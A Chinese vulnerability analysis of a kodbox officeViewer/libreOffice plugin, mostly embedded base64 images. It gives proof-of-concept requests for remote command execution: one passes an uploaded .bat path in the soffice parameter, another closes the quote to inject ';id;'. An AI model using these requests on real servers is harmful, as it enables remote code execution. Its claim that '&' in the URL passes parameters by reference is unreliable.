/LGiZCZHPIBjH5j+2NHJo2iw/vLtY5bGRMaZk/eDHyeYzhSfKui3+tfFJPhMjTJjPBEFMFzJuIWYAzExZvTA/ErecLD3QaJ0ZXx6YLXpibUIa1v7nu7pz5pkRMwBgTJPk3r/twWUxXCqu7vr7dMczGYSJC+9YEnilCTAur/+woGV6I5okOFCc9kBqMKjl/77UY5zeHAtLy7sjc7Bjhw1wbnexalgBCj9m/qr0nBXrmgv//bfPzqpmxCDBL5F8vgkmzGeCIKYHGbcQUwLine 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<p blockindex=30>拼接soffice参数:plugin/officeViewer/libreOffice/index/check&amp;soffice</p>
<p blockindex=31>使用 <code>&amp;</code> 连接check和soffice参数可以将参数以引用传递的方式传递给函数或方法。</p>
<p blockindex=32>(在php中两个参数使用 <code>&amp;</code> 连接参数是为了以引用传递的方式将参数传递给函数或方法。PHP 函数和方法中的参数传递分为按值传递、引用传递。默认情况下PHP 函数和方法中的参数传递是按值传递(pass by value)的,也就是说会创建参数的副本并传递给函数或方法。这意味着在函数或方法内部对参数进行修改不会影响到原始的参数。然而,有时候我们希望在函数或方法内部能够修改原始的参数。这时可以使用引用传递(pass by reference),在参数前面加上 <code>&amp;</code> 符号来实现。这样,当参数在函数或方法内部被修改时,原始的参数也会被修改。)</p>
<p blockindex=33><img src="data:image/png;base64,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 truncated
<pre blockindex=34><code class="hljs language-php"><span class=hljs-variable>$bin</span> = <span class=hljs-string>'"'</span>.trim(iconv_system(<span class=hljs-variable>$bin</span>)).<span class=hljs-string>'"'</span>; <span class=hljs-comment>// win路径空格处理</span>
</code></pre>
<p blockindex=35>在windows环境下对$bin特殊处理:getSoffice()中$bin参数会被两个双引号闭合,且使用<code>trim()</code> 函数删除 <code>$bin</code> 变量字符串首尾的空白字符,包括空格、制表符、换行符等。iconv_system函数用于将“$bin”字符进行编码转换。</p>
<p blockindex=36><img src="data:image/png;base64,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 truncated
<p blockindex=37>windows环境下可以通过传入文件路径执行bat文件实现远程命令执行。</p>
<p blockindex=38>测试poc为:</p>
<pre blockindex=39><code class="hljs language-php">plugin/officeViewer/libreOffice/index/check&amp;soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\<span class=hljs-number>202312</span>\<span class=hljs-number>19_81229</span>b0a\poc.bat
</code></pre>
<p blockindex=40>linux环境下可以通过soffice传入命令通过闭合双引号实现命令注入。</p>
<p blockindex=41>测试poc为:</p>
<pre blockindex=42><code class="hljs language-php">index.php?plugin/officeViewer/libreOffice/index/check&amp;soffice=<span class=hljs-string>";id;%23&amp;check=1
</span></code></pre>
<h1 blockindex=43>漏洞利用:</h1>
<p blockindex=44><strong>linux系统下漏洞利用:</strong></p>
<p blockindex=45><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABZQAAAH6CAIAAAAfgF5fAAAgAElEQVR4nOzdfVgU570//s8+AC4ajYBJGmDXpugCaRofksaA6YkS1MYEUJPTaE7g+BCPhxOpbRKN+vulJtdPjRhzLBqO9SnVnGq+NSAQtVFE82uEaCNi0gq7QFN2kaTqgtFEHoTd/f5xwzjMzM7OPsGC79fl5QWzszP3PDL3Z+77c6u+/fZ7Cm5nzvzlkUd+yn7+/vvv2ts72trafvCDuyMjR/ZvwQAgQJqbr37zzSWdTjdkSFhISKhGo1Gr1Wq1ur/LBQAAAAAA/WOAVQYcDofdbu/q6ho+/I7+LgsABMrw4Xd0dXXZ7XaHw+F0Op1OZ3+XCAAAAAAA+tOAC144WfwiJETb32UBgEAJCdGyyIXD4XQ6HUSE+AUAAAAAwO1sgAUvnE6Hw+FwOOz9XRAACCyHgzW7cDidiFwAAAAAANzuBlzwgpxOp8OBmgzAIMf1F0HkAgAAAAAABlzwwokO8AC3A1zsAAAAAADAGWDBix6ozwAMerjMAQAAAACg24ALXjhRpQG4beB6BwAAAAAAogEYvACA2wt6jgAAAAAAAIIXAAAAAAAAABDUBmTwAi9iAQY9XOYAAAAAAMAZkMELAAAAAAAAALh9aJXP2tzc0tJy1e1sEREjIyMjfCgSAAAAAAAAAMAtioIXbW1t//3f7zY1fa1woWPG/Og//mOBTqfzoWAAAAAAAAAAAEQKu43s2bNfeeSCiOrq/n7gQJG3RQIAAAAAAAAAuEVhy4vWuLj7Hn30p5Mm/dTtzKdP/+Wzz/7S2trmc9kAAAAAAAAAAJQFL371q5eUL3HSJEUxDgCA/vLFF3/dvv29lStfjomJ7u+yAAAAAACAe7fRaCPPz8t8+KEk8fQPDxTcNSqa/RPP8Oaba7lP7xoV/eGBAl/Wxcis7vl5mf5dF/VsoGCehx9K4m/XXaOin5+X6fW6+MWWWY7borK9feFC9YUL1QqLpBxbOLdXWZkvXKj24yrkV+2v7WLHzl9lU+7q1W+vXv3W4XD0/ar97uLFr4noiy/+1t8FAQAAAAAARdy0vDhw4OCXX15oaWnxYtERERGTJj08c+Z0rwrmT8/PyywtLSMig8Eg+OjNN9du3ZKfn5/3zLNziIhV8j8/W8E+/fBAwdYt+ZevNHEzZ2fnHDxY/Id9e71YF1tgdnbOS0uzX399Nfv1zTfXsp+J6OGHkiwWC1sdm7O6xsR96um6ONnZOZLTDQYDt6Vuyazr+XmZs2als31y4UL1lMdT+fvQo6Ju3ZJvMBjuvz+xb2IKfWawbhcRTXk89YEHfpy35b8lP1360rILF6pPnDzWx6UCAAAAAIBBRq7lxYEDBz/55FPvIhdE1NLScuTI0cOHj3r3db9gL7pnzUrnAhCCT7duyX9paTaLXBDRyU9KLRbLm2+uZb8mJCbwv/j666tTU1NKS8skq6Dy62IzZGfn5OfncfGIZ56dw/384YECi8WSn5/HfZSamrJ1S74X28XHbYuAxWIZOzZO/rsK1/WHfXu5HXj//YmpqSkWi4XbRcqLytpErFjxspJSDSD87br//sTLV5pkgl8DTlLyox988Mecpb8Sf7T0pWX/5/8ceDRpUt+XCgAAAAAABhm5lhenT39ORI888vCjjz7sxaI/++zzM2c+P336835sfMHqiq4+LSg4SERz5sziz28wGD4qOcxiCvffnyj4ijHeyFoQeLouIlq39i2DwcDV8wWqa0yS67pwoVpcDLfrYrjojKsgiBIK18UR7CLlX9+wYRMRudo/A9dg3S5m7do3r1+7/sEHfyQifvsLFrn4xS+eXbv2zf4rHQAAAAAADBJyLS/a29uJ6NFHHx4zJs6Lfyzk4XXDjT5gNpnFE8eOjbNYLIFYXWlp2dNpM119mpgQT71DGKx44siFcv+etchgMMh0PAkE74p94UK1xWJ5aWm2qxlYogd+tgh+og3JHBD8fCWuWqAIliOejbUcEc/ATRcXkt8wR7BdgpwXXBoO+Vwn/AQlMq1+7v2BYbRhjHHs/bW1dWz6aytWT5828/e/f5+b88yZv+Qs/dXuXb8XLKGlpWXPnvc//fOpa9euHzn8p+PHT3z651NnzvxFco/Z7Xb+r1u2bv7FL57lt7/gIhdbtm6WXAIAAAAAAIBHbqOEnWLGeKOnX/mo5DB5FVBgNdLEhHhXVWWunwirnX54oKC0tIzrReKFN99ca7FYfr9np/gjtgovNl/JSr0r9rq1b1HvVjB8z8/LZCEArsPFXaOia2vrL19pYv9SU1ME1f7n52WybCZsBiKSbH4y5fFUY7yRzcOaqPAPyptvrp3yeCq3kJOflG7dks9yjt5/fyLbTG5+tsPz8/P4p4f8djHZ2TlcGVJTU7Kzc/gbcteoaJYJhf3796xFguDahwcKpjye+tLS7K+/sTRY6h5//F/mzP5XFr94a8Pae+65p7DgIDfze7v3REZFLlj475Il+frrb06cOPnkzJ8/8cTUx342mYiqqs4L5mlvb1erhfcNfvwiZ+mvELkAAAAAAAD/uq2DF6yxQwGvakdErnqFEK8K7fUa+dVUcVX5D/v2pqamTHk89a5R0Sw7htd9DbgOIzJxlq1b8j0d2cQVrmnARyWHL19p8qLYpaVlLKWl+CMWEOGynLLVERE/J+gf9u01GAxcalIW+uFnM2H5SsQLT01N4RbL5uHHjwQpUVjAgsuKIshLsnVLfmpqimDbZbZLsgyrVr9GRAcPFrNfWRuNk5+UcjOLc6xmZ+fwl/C77flE9Oorr7Fff7Pm/yGi//3ffUT0xz9+SESLFi2QKczUqVO4nx944MdE1NjYyJ9Bqw1RqVTiL3Lxiw8++GPwRy4aG5uoZ8wRAAAAAAAIfm5GG3Hlv/7r14Ip7777js+F6WvPPDtnw4ZNW7fkJybEszqnzECebCgQr3thsP4g/K+//vrqj0oOb92Sz6awcToMBgNrJsB+3bBhk/IBQfjYolwVVZCH4vl5mW5HNpHHH5/lrlHRHo1jQrKpOlkEgV85Zx0xxJGIp9Nmbt2S/+GBgmeencMq/4L2DpL5SliwgDNrVnppaVlNdc399ydKLuSZZ+dkZ+dwWVFWrX6ttLSM6wYiyMSpMAXprFnp3M8szFFbW89+lYx9GAwGrvEFC6MItiImJvbixe7je999P3zo4YlFRSU/HG3405+OPv30zOjoe12V5N57fzBixHDu1/Dw8LCwsPb2Dv48Wq1GfnOISDK60S+++OKv27e/5+rTL7/8q/hWRkTLlmWPGaMonS0AAAAAAPSN27rlBRF9fraCNdRnDQeeTpuZmpoiGM6TJRRgFWbvQgkcQc4L9iur4v571iLiRQEEL/k9Im6YII81W+BaHPjimWfneFFsVyktS0vLWLMCflCgprqGpPq8sHY0DKv8C+r8/BnksUiT5EKo92iv99+f+NLS7NLSMsnOMj6m6mSHQzwoDH8KyzDCWutwOS8uXuzVVoLFWfLzfzdq1KjZszM8LUZnZ6eS2bg8F4L8F/1uyJAhHs0/cuRInU4XoMIAAAAAAIB3vGx5sWyZ910ngo3gbfnz8zL5lcMPDxSwzgi+dOIgdzVnydYEgpf8CrEhV4lIkEvSYrHItIlgzRZYiwPl65LEii2ZDFWSTKpONjCtTEeeYODqyLpNQepHJz8plT9wd99197ffXg1cAcQZOsXjj/SLBx98YNOmB8TTt23b/de//u2BB368ZIlcJxoAAAAAAAgSXra8EI8t4t9i9aPS0jKuGf+FC9UscnHyk1Ifh7pMSEwgF+ObsI/85Zln53DJHbl/RMQ6pPjYciQQ5FNasnQP/ECMqz3JmkuwT1n4SdCQRDwYrRibh8UjJBdCRBaLhR/eYm1D+Bk3lGyXEoIuJBz+FNYChbVGceX3v3//0uVLTz0988qVK4WFRR6VoaOjIyQkRH4eceRCPP5IsImNjeb+BwAAAACA4He7dxsRePPNtQaDgYtTsPqn29faStx/f6LBYBA0Ivio5DDLaCD5KetOIjO6qh+xUVR8DNAwrNjKhzIpLS1LTU1xtYe5QT24dCSS+4p4O5N6skgIUrGybRSQnIftB8mFsK3jwlss28Uf9u1liS34nWXkt0uh1NQUi8UiHnuV+5UFR7gEn2JfffWPwoKDGRlpc+f+YtSoUceOlrqak4i+/vob/q82m42Ihg8f7mJ2IqLVq1+XHFuEi1+sXv26zNcBAAAAAACUuN2DF/wMnW++uXbrlnz+2KK1tfXyQ0WwTBkK18WWzCV3FAxlKviUiNibfK7PiEfrkvfmm2v5K2KjqHApG1jSTf4MMj48UMDfh6ytivK0poJYgKRnnp3z0tJsi8XCrYjtK/562SZwO/OZZ+cIsniwGcQLZzk++fNw+4EbTISbgW0dN6QIN6YJSY1063a7lGCZOFk+FGbK46n8Ge6/P5F1ruHHTV76r5w/HfmY/fzGmv+PiP7t3+YR0dKl/0lEv/vdDvZR3m+3vrU+98qVK/wFHjt2nP1w48aNv//9q7CwsLvvvkumhBXln7kaW4TFLyrKP1O4sQAAAAAAAK54mfNi0Pj9np1cRIAb6YMjmTyCiAQpJBViY3zwYxD81Yk/9W4tCpWWlvG3S7DhyrFqPH9RHiUHUZjS8vXX